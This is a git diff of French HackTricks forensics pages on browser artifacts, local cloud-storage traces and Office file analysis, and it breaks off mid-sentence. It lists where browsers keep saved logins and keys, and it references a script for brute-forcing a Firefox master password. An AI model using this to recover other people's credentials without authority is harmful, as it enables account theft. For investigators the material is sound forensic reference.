[**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ @@ -28,55 +28,51 @@ Les artéfacts des navigateurs incluent divers types de données stockées par l Voici un résumé des artéfacts de navigateur les plus courants : -- **Historique de navigation** : Suit les visites des utilisateurs sur les sites Web, utile pour identifier les visites sur des sites malveillants. -- **Données d'autocomplétion** : Suggestions basées sur des recherches fréquentes, offrant des informations lorsqu'elles sont combinées avec l'historique de navigation. -- **Favoris** : Sites enregistrés par l'utilisateur pour un accès rapide. -- **Extensions et modules complémentaires** : Extensions de navigateur ou modules complémentaires installés par l'utilisateur. -- **Cache** : Stocke le contenu Web (par exemple, images, fichiers JavaScript) pour améliorer les temps de chargement du site, précieux pour l'analyse forensique. -- **Connexions** : Identifiants de connexion enregistrés. -- **Favicons** : Icônes associées aux sites Web, apparaissant dans les onglets et les favoris, utiles pour obtenir des informations supplémentaires sur les visites des utilisateurs. -- **Sessions de navigateur** : Données relatives aux sessions de navigateur ouvertes. -- **Téléchargements** : Enregistrements des fichiers téléchargés via le navigateur. -- **Données de formulaire** : Informations saisies dans les formulaires Web, enregistrées pour des suggestions de remplissage automatique ultérieures. -- **Miniatures** : Images de prévisualisation des sites Web. -- **Dictionnaire personnalisé.txt** : Mots ajoutés par l'utilisateur au dictionnaire du navigateur. - +* **Historique de navigation** : Suit les visites des utilisateurs sur des sites Web, utile pour identifier les visites sur des sites malveillants. +* **Données d'autocomplétion** : Suggestions basées sur des recherches fréquentes, offrant des informations lorsqu'elles sont combinées avec l'historique de navigation. +* **Favoris** : Sites enregistrés par l'utilisateur pour un accès rapide. +* **Extensions et modules complémentaires** : Extensions de navigateur ou modules complémentaires installés par l'utilisateur. +* **Cache** : Stocke le contenu Web (par exemple, images, fichiers JavaScript) pour améliorer les temps de chargement des sites Web, précieux pour l'analyse forensique. +* **Connexions** : Identifiants de connexion enregistrés. +* **Favicons** : Icônes associées aux sites Web, apparaissant dans les onglets et les favoris, utiles pour obtenir des informations supplémentaires sur les visites des utilisateurs. +* **Sessions de navigateur** : Données relatives aux sessions de navigateur ouvertes. +* **Téléchargements** : Enregistrements des fichiers téléchargés via le navigateur. +* **Données de formulaire** : Informations saisies dans les formulaires Web, enregistrées pour des suggestions de remplissage automatique ultérieures. +* **Miniatures** : Images de prévisualisation des sites Web. +* **Dictionnaire personnalisé.txt** : Mots ajoutés par l'utilisateur au dictionnaire du navigateur. ## Firefox Firefox organise les données utilisateur dans des profils, stockés à des emplacements spécifiques en fonction du système d'exploitation : -- **Linux** : `~/.mozilla/firefox/` -- **MacOS** : `/Users/$USER/Library/Application Support/Firefox/Profiles/` -- **Windows** : `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` +* **Linux** : `~/.mozilla/firefox/` +* **MacOS** : `/Users/$USER/Library/Application Support/Firefox/Profiles/` +* **Windows** : `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` -Un fichier `profiles.ini` dans ces répertoires répertorie les profils utilisateur. Les données de chaque profil sont stockées dans un dossier nommé d'après la variable `Path` dans `profiles.ini`, situé dans le même répertoire que `profiles.ini` lui-même. Si un dossier de profil est manquant, il a peut-être été supprimé. +Un fichier `profiles.ini` dans ces répertoires répertorie les profils utilisateur. Les données de chaque profil sont stockées dans un dossier nommé d'après la variable `Path` dans `profiles.ini`, situé dans le même répertoire que `profiles.ini` lui-même. Si le dossier d'un profil est manquant, il a peut-être été supprimé. Dans chaque dossier de profil, vous pouvez trouver plusieurs fichiers importants : -- **places.sqlite** : Stocke l'historique, les favoris et les téléchargements. Des outils comme [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) sur Windows peuvent accéder aux données d'historique. -- Utilisez des requêtes SQL spécifiques pour extraire les informations d'historique et de téléchargement. -- **bookmarkbackups** : Contient des sauvegardes de favoris. -- **formhistory.sqlite** : Stocke les données de formulaire Web. -- **handlers.json** : Gère les gestionnaires de protocole. -- **persdict.dat** : Mots du dictionnaire personnalisé. -- **addons.json** et **extensions.sqlite** : Informations sur les modules complémentaires et extensions installés. -- **cookies.sqlite** : Stockage des cookies, avec [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) disponible pour inspection sur Windows. -- **cache2/entries** ou **startupCache** : Données de cache, accessibles via des outils comme [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html). -- **favicons.sqlite** : Stocke les favicons. -- **prefs.js** : Paramètres et préférences utilisateur. -- **downloads.sqlite** : Ancienne base de données de téléchargements, désormais intégrée dans places.sqlite. -- **miniatures** : Miniatures de sites Web. -- **logins.json** : Informations de connexion chiffrées. -- **key4.db** ou **key3.db** : Stocke les clés de chiffrement pour sécuriser les informations sensibles. +* **places.sqlite** : Stocke l'historique, les favoris et les téléchargements. Des outils comme [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) sur Windows peuvent accéder aux données d'historique. +* Utilisez des requêtes SQL spécifiques pour extraire des informations d'historique et de téléchargements. +* **bookmarkbackups** : Contient des sauvegardes de favoris. +* **formhistory.sqlite** : Stocke les données de formulaire Web. +* **handlers.json** : Gère les gestionnaires de protocole. +* **persdict.dat** : Mots du dictionnaire personnalisé. +* **addons.json** et **extensions.sqlite** : Informations sur les modules complémentaires et extensions installés. +* **cookies.sqlite** : Stockage des cookies, avec [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) disponible pour inspection sur Windows. +* **cache2/entries** ou **startupCache** : Données de cache, accessibles via des outils comme [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html). +* **favicons.sqlite** : Stocke les favicons. +* **prefs.js** : Paramètres et préférences utilisateur. +* **downloads.sqlite** : Ancienne base de données de téléchargements, désormais intégrée à places.sqlite. +* **miniatures** : Miniatures de sites Web. +* **logins.json** : Informations de connexion chiffrées. +* **key4.db** ou **key3.db** : Stocke les clés de chiffrement pour sécuriser les informations sensibles. De plus, vérifier les paramètres anti-hameçonnage du navigateur peut se faire en recherchant les entrées `browser.safebrowsing` dans `prefs.js`, indiquant si les fonctionnalités de navigation sécurisée sont activées ou désactivées. - Pour essayer de décrypter le mot de passe principal, vous pouvez utiliser [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\ Avec le script et l'appel suivants, vous pouvez spécifier un fichier de mot de passe à forcer : - -{% code title="brute.sh" %} ```bash #!/bin/bash @@ -95,26 +91,25 @@ done < $passfile Google Chrome stocke les profils d'utilisateurs dans des emplacements spécifiques en fonction du système d'exploitation : -- **Linux** : `~/.config/google-chrome/` -- **Windows** : `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` -- **MacOS** : `/Users/$USER/Library/Application Support/Google/Chrome/` +* **Linux** : `~/.config/google-chrome/` +* **Windows** : `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` +* **MacOS** : `/Users/$USER/Library/Application Support/Google/Chrome/` Dans ces répertoires, la plupart des données utilisateur peuvent être trouvées dans les dossiers **Default/** ou **ChromeDefaultData/**. Les fichiers suivants contiennent des données significatives : -- **Historique** : Contient des URL, des téléchargements et des mots-clés de recherche. Sur Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) peut être utilisé pour lire l'historique. La colonne "Type de transition" a diverses significations, y compris les clics des utilisateurs sur des liens, les URL saisies, les soumissions de formulaires et les rechargements de page. -- **Cookies** : Stocke les cookies. Pour l'inspection, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) est disponible. -- **Cache** : Contient des données mises en cache. Pour l'inspection, les utilisateurs de Windows peuvent utiliser [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html). -- **Signets** : Signets de l'utilisateur. -- **Données Web** : Contient l'historique des formulaires. -- **Favicons** : Stocke les favicons des sites Web. -- **Données de connexion** : Inclut les informations de connexion telles que les noms d'utilisateur et les mots de passe. -- **Session actuelle**/**Onglets actuels** : Données sur la session de navigation actuelle et les onglets ouverts. -- **Dernière session**/**Derniers onglets** : Informations sur les sites actifs lors de la dernière session avant la fermeture de Chrome. -- **Extensions** : Répertoires pour les extensions et les modules complémentaires du navigateur. -- **Vignettes** : Stocke les vignettes des sites Web. -- **Préférences** : Un fichier riche en informations, comprenant des paramètres pour les plugins, les extensions, les pop-ups, les notifications, et plus encore. -- **Anti-hameçonnage intégré du navigateur** : Pour vérifier si la protection contre le hameçonnage et les logiciels malveillants est activée, exécutez `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Recherchez `{"enabled: true,"}` dans la sortie. - +* **Historique** : Contient des URL, des téléchargements et des mots-clés de recherche. Sur Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) peut être utilisé pour lire l'historique. La colonne "Type de transition" a diverses significations, y compris les clics des utilisateurs sur des liens, les URL saisies, les soumissions de formulaires et les rechargements de pages. +* **Cookies** : Stocke les cookies. Pour l'inspection, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html) est disponible. +* **Cache** : Contient des données mises en cache. Pour l'inspection, les utilisateurs de Windows peuvent utiliser [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html). +* **Signets** : Signets de l'utilisateur. +* **Données Web** : Contient l'historique des formulaires. +* **Favicons** : Stocke les favicons des sites Web. +* **Données de connexion** : Inclut les informations de connexion telles que les noms d'utilisateur et les mots de passe. +* **Session actuelle**/**Onglets actuels** : Données sur la session de navigation actuelle et les onglets ouverts. +* **Dernière session**/**Derniers onglets** : Informations sur les sites actifs lors de la dernière session avant la fermeture de Chrome. +* **Extensions** : Répertoires pour les extensions et les modules complémentaires du navigateur. +* **Miniatures** : Stocke les miniatures des sites Web. +* **Préférences** : Un fichier riche en informations, comprenant des paramètres pour les plugins, les extensions, les pop-ups, les notifications, et plus encore. +* **Anti-hameçonnage intégré du navigateur** : Pour vérifier si la protection anti-hameçonnage et contre les logiciels malveillants est activée, exécutez `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Recherchez `{"enabled: true,"}` dans la sortie. ## **Récupération de données de base de données SQLite** @@ -125,64 +120,68 @@ Comme vous pouvez l'observer dans les sections précédentes, Chrome et Firefox Internet Explorer 11 gère ses données et métadonnées à travers divers emplacements, facilitant la séparation des informations stockées et de leurs détails correspondants pour un accès et une gestion faciles. ### Stockage des métadonnées -Les métadonnées d'Internet Explorer sont stockées dans `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (avec VX étant V01, V16 ou V24). En complément, le fichier `V01.log` peut montrer des divergences de temps de modification avec `WebcacheVX.data`, indiquant un besoin de réparation en utilisant `esentutl /r V01 /d`. Ces métadonnées, logées dans une base de données ESE, peuvent être récupérées et inspectées à l'aide d'outils tels que photorec et [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), respectivement. Dans le tableau **Containers**, on peut discerner les tables ou conteneurs spécifiques où chaque segment de données est stocké, y compris les détails du cache pour d'autres outils Microsoft tels que Skype. + +Les métadonnées d'Internet Explorer sont stockées dans `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (avec VX étant V01, V16 ou V24). En complément, le fichier `V01.log` peut montrer des divergences de temps de modification avec `WebcacheVX.data`, indiquant un besoin de réparation en utilisant `esentutl /r V01 /d`. Ces métadonnées, logées dans une base de données ESE, peuvent être récupérées et inspectées à l'aide d'outils tels que photorec et [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), respectivement. Dans la table **Containers**, on peut discerner les tables ou conteneurs spécifiques où chaque segment de données est stocké, y compris les détails du cache pour d'autres outils Microsoft tels que Skype. ### Inspection du cache -L'outil [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) permet l'inspection du cache, nécessitant l'emplacement du dossier d'extraction des données du cache. Les métadonnées du cache incluent le nom de fichier, le répertoire, le nombre d'accès, l'origine de l'URL, et les horodatages indiquant la création du cache, l'accès, la modification, et les temps d'expiration. + +L'outil [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) permet l'inspection du cache, nécessitant l'emplacement du dossier d'extraction des données de cache. Les métadonnées du cache incluent le nom de fichier, le répertoire, le nombre d'accès, l'origine de l'URL, et les horodatages indiquant la création du cache, l'accès, la modification, et les temps d'expiration. ### Gestion des cookies + Les cookies peuvent être explorés en utilisant [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), avec des métadonnées comprenant des noms, des URLs, des comptes d'accès, et divers détails liés au temps. Les cookies persistants sont stockés dans `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, tandis que les cookies de session résident en mémoire. ### Détails des téléchargements -Les métadonnées des téléchargements sont accessibles via [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), avec des conteneurs spécifiques contenant des données telles que l'URL, le type de fichier, et l'emplacement du téléchargement. Les fichiers physiques peuvent être trouvés sous `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`. + +Les métadonnées des téléchargements sont accessibles via [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), avec des conteneurs spécifiques contenant des données telles que l'URL, le type de fichier, et l'emplacement de téléchargement. Les fichiers physiques peuvent être trouvés sous `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`. ### Historique de navigation -Pour examiner l'historique de navigation, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) peut être utilisé, nécessitant l'emplacement des fichiers d'historique extraits et la configuration pour Internet Explorer. Les métadonnées ici incluent les temps de modification et d'accès, ainsi que les comptes d'accès. Les fichiers d'historique sont situés dans `%userprofile%\Appdata\Local\Microsoft\Windows\History`. + +Pour examiner l'historique de navigation, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) peut être utilisé, nécessitant l'emplacement des fichiers d'historique extraits et la configuration pour Internet Explorer. Les métadonnées ici incluent les temps de modification et d'accès, ainsi que les comptes d'accès. Les fichiers d'historique sont situés dans `%userprofile%\Appdata\Local\Microsoft\Windows\History`. ### URLs saisies -Les URLs saisies et leurs horaires d'utilisation sont stockés dans le registre sous `NTUSER.DAT` à `Software\Microsoft\InternetExplorer\TypedURLs` et `Software\Microsoft\InternetExplorer\TypedURLsTime`, suivant les 50 dernières URLs saisies par l'utilisateur et leurs derniers horaires d'entrée. +Les URLs saisies et leurs horaires d'utilisation sont stockés dans le registre sous `NTUSER.DAT` à `Software\Microsoft\InternetExplorer\TypedURLs` et `Software\Microsoft\InternetExplorer\TypedURLsTime`, suivant les 50 dernières URLs saisies par l'utilisateur et leurs derniers horaires d'entrée. ## Microsoft Edge Microsoft Edge stocke les données utilisateur dans `%userprofile%\Appdata\Local\Packages`. Les chemins pour différents types de données sont : -- **Chemin du profil** : `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` -- **Historique, Cookies et Téléchargements** : `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` -- **Paramètres, Signets et Liste de lecture** : `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb` -- **Cache** : `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache` -- **Dernières sessions actives** : `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active` +* **Chemin du profil** : `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` +* **Historique, Cookies et Téléchargements** : `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` +* **Paramètres, Signets et Liste de lecture** : `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb` +* **Cache** : `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache` +* **Dernières sessions actives** : `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active` ## Safari -Les données de Safari sont stockées dans `/Users/$User/Library/Safari`. Les fichiers clés incluent : +Les données de Safari sont stockées à `/Users/$User/Library/Safari`. Les fichiers clés incluent : -- **History.db** : Contient les tables `history_visits` et `history_items` avec des URLs et des horodatages de visite. Utilisez `sqlite3` pour interroger. -- **Downloads.plist** : Informations sur les fichiers téléchargés. -- **Bookmarks.plist** : Stocke les URLs des signets. -- **TopSites.plist** : Sites les plus visités. -- **Extensions.plist** : Liste des extensions du navigateur Safari. Utilisez `plutil` ou `pluginkit` pour récupérer. -- **UserNotificationPermissions.plist** : Domaines autorisés à envoyer des notifications push. Utilisez `plutil` pour analyser. -- **LastSession.plist** : Onglets de la dernière session. Utilisez `plutil` pour analyser. -- **Anti-hameçonnage intégré du navigateur** : Vérifiez en utilisant `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Une réponse de 1 indique que la fonctionnalité est active. +* **History.db** : Contient les tables `history_visits` et `history_items` avec des URLs et des horodatages de visite. Utilisez `sqlite3` pour interroger. +* **Downloads.plist** : Informations sur les fichiers téléchargés. +* **Bookmarks.plist** : Stocke les URLs des signets. +* **TopSites.plist** : Sites les plus visités. +* **Extensions.plist** : Liste des extensions du navigateur Safari. Utilisez `plutil` ou `pluginkit` pour récupérer. +* **UserNotificationPermissions.plist** : Domaines autorisés à envoyer des notifications push. Utilisez `plutil` pour analyser. +* **LastSession.plist** : Onglets de la dernière session. Utilisez `plutil` pour analyser. +* **Anti-hameçonnage intégré du navigateur** : Vérifiez en utilisant `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Une réponse de 1 indique que la fonctionnalité est active. ## Opera Les données d'Opera résident dans `/Users/$USER/Library/Application Support/com.operasoftware.Opera` et partagent le format de Chrome pour l'historique et les téléchargements. -- **Anti-hameçonnage intégré du navigateur** : Vérifiez en vérifiant si `fraud_protection_enabled` dans le fichier Preferences est défini sur `true` en utilisant `grep`. +* **Anti-hameçonnage intégré du navigateur** : Vérifiez en vérifiant si `fraud_protection_enabled` dans le fichier Preferences est défini sur `true` en utilisant `grep`. Ces chemins et commandes sont cruciaux pour accéder et comprendre les données de navigation stockées par différents navigateurs Web. +## Références -# Références * [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a) * [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/) -* [https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file) +* [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file) * **Livre : OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123** - -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ @@ -194,12 +193,11 @@ Accédez dès aujourd'hui : Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -Autres façons de soutenir HackTricks : - +D'autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md index 74910e98e..e99286df2 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md @@ -9,12 +9,12 @@ Autres façons de soutenir HackTricks : - Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! - Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) - Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** - **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\ @@ -24,7 +24,7 @@ Accédez dès aujourd'hui : ## OneDrive -Sous Windows, vous pouvez trouver le dossier OneDrive dans `\Users\\AppData\Local\Microsoft\OneDrive`. Et à l'intérieur de `logs\Personal`, il est possible de trouver le fichier `SyncDiagnostics.log` qui contient certaines données intéressantes concernant les fichiers synchronisés : +Sous Windows, vous pouvez trouver le dossier OneDrive dans `\Users\\AppData\Local\Microsoft\OneDrive`. Et à l'intérieur de `logs\Personal`, il est possible de trouver le fichier `SyncDiagnostics.log` qui contient des données intéressantes concernant les fichiers synchronisés : - Taille en octets - Date de création @@ -35,7 +35,7 @@ Sous Windows, vous pouvez trouver le dossier OneDrive dans `\Users\\Ap - Heure de génération du rapport - Taille du disque dur du système d'exploitation -Une fois que vous avez trouvé le CID, il est recommandé de **rechercher des fichiers contenant cet ID**. Vous pourriez être en mesure de trouver des fichiers avec le nom : _**\.ini**_ et _**\.dat**_ qui peuvent contenir des informations intéressantes comme les noms des fichiers synchronisés avec OneDrive. +Une fois que vous avez trouvé le CID, il est recommandé de **rechercher des fichiers contenant cet identifiant**. Vous pourriez trouver des fichiers portant le nom : _**\.ini**_ et _**\.dat**_ qui peuvent contenir des informations intéressantes comme les noms des fichiers synchronisés avec OneDrive. ## Google Drive @@ -113,7 +113,7 @@ D'autres tables à l'intérieur de cette base de données contiennent des inform - **deleted\_fields** : Fichiers supprimés de Dropbox - **date\_added** -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ @@ -130,7 +130,7 @@ Autres façons de soutenir HackTricks : - Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! - Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) - Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** - **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md index ce7f7918b..13d0d4d0b 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md @@ -9,12 +9,12 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\ @@ -22,39 +22,37 @@ Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +Pour plus d'informations, consultez [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Voici juste un résumé : -**Pour plus de détails, consultez [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)** - - -Microsoft a créé de nombreux formats de documents de bureau, avec deux types principaux étant les formats **OLE** (comme RTF, DOC, XLS, PPT) et les formats **Office Open XML (OOXML)** (tels que DOCX, XLSX, PPTX). Ces formats peuvent inclure des macros, ce qui en fait des cibles pour le phishing et les logiciels malveillants. Les fichiers OOXML sont structurés comme des conteneurs zip, permettant une inspection en les dézippant, révélant la hiérarchie des fichiers et dossiers et le contenu des fichiers XML. +Microsoft a créé de nombreux formats de documents de bureau, avec deux types principaux étant les **formats OLE** (comme RTF, DOC, XLS, PPT) et les **formats Office Open XML (OOXML)** (tels que DOCX, XLSX, PPTX). Ces formats peuvent inclure des macros, ce qui en fait des cibles pour le phishing et les logiciels malveillants. Les fichiers OOXML sont structurés comme des conteneurs zip, permettant une inspection en les dézippant, révélant la hiérarchie des fichiers et dossiers et le contenu des fichiers XML. Pour explorer les structures de fichiers OOXML, la commande pour dézipper un document et la structure de sortie sont données. Des techniques pour cacher des données dans ces fichiers ont été documentées, indiquant une innovation continue dans la dissimulation de données dans les défis CTF. Pour l'analyse, **oletools** et **OfficeDissector** offrent des ensembles d'outils complets pour examiner à la fois les documents OLE et OOXML. Ces outils aident à identifier et analyser les macros intégrées, qui servent souvent de vecteurs pour la distribution de logiciels malveillants, téléchargeant et exécutant généralement des charges malveillantes supplémentaires. L'analyse des macros VBA peut être effectuée sans Microsoft Office en utilisant Libre Office, qui permet le débogage avec des points d'arrêt et des variables de surveillance. -L'installation et l'utilisation des **oletools** sont simples, avec des commandes fournies pour l'installation via pip et l'extraction de macros à partir de documents. L'exécution automatique des macros est déclenchée par des fonctions comme `AutoOpen`, `AutoExec` ou `Document_Open`. +L'installation et l'utilisation des **oletools** sont simples, avec des commandes fournies pour l'installation 